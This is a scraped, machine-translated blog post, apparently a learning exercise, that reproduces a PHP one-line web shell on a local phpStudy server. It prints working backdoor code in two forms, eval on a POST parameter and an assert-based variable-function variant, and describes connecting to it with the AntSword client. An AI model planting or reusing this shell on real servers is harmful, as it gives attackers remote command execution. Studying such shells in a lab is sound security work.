当前位置:网站首页>Reproduce PHP one sentence Trojan horse
Reproduce PHP one sentence Trojan horse
2022-07-26 11:13:00 【Stay up late and sleepy】
stay phpstudy-pro in , Turn on apache,MySQL, stay WWW Create... In the directory php file , In the php Write code in the file
<?php
eval($_POST['2']);
?>
Open the Chinese ant sword test
Enter the local address of the test , Connection password input 2, Encoding format selection base64, Click test connection

When the connection is successful , Click Add , Double click the added record , See website Content and directory structure , On behalf of and success .

Revise it php file
<?php
$_POST['1']($_POST['2']);
?>

eval The rules of :eval It's a language constructor , It's not a function , Therefore, it cannot be called by variable functions .
Use assert;assert You can also execute any command ,

Show successful connection .
边栏推荐
猜你喜欢

Pytest execution rules_ Basic usage_ Common plug-ins_ Common assertions_ Common parameters

@Notblank, @notnull, @notempty differences and uses

PyQt5快速开发与实战 3.1 Qt Designer快速入门

349. Intersection of two arrays

nmap弱点扫描结果可视化转换

easyui04

pytest pytest. Ini configuration case grouping case skipping

Many people don't know whether they are looking for Kanban software or Kanban software

How to assemble a registry?

ArrayList of novice source code
随机推荐
@Notblank, @notnull, @notempty differences and uses
JVM基本概念及内存管理模型
MySql基础知识汇总
nmap弱点扫描结果可视化转换
Pytest execution rules_ Basic usage_ Common plug-ins_ Common assertions_ Common parameters
PyQt5快速开发与实战 3.1 Qt Designer快速入门
Capture ZABBIX performance monitoring chart with selenium
Bash shell学习笔记(三)
pytest pytest. Ini configuration case grouping case skipping
Le audio specification overview
27. Remove elements
MySQL锁机制
List ascending and descending
Att request of ble
如何配置JdbcRealm数据源呢?
Bash shell learning notes (II)
像素和内存的关系
Classified by the number of 1 in binary number
Visual conversion of nmap vulnerability scanning results
HCI 接口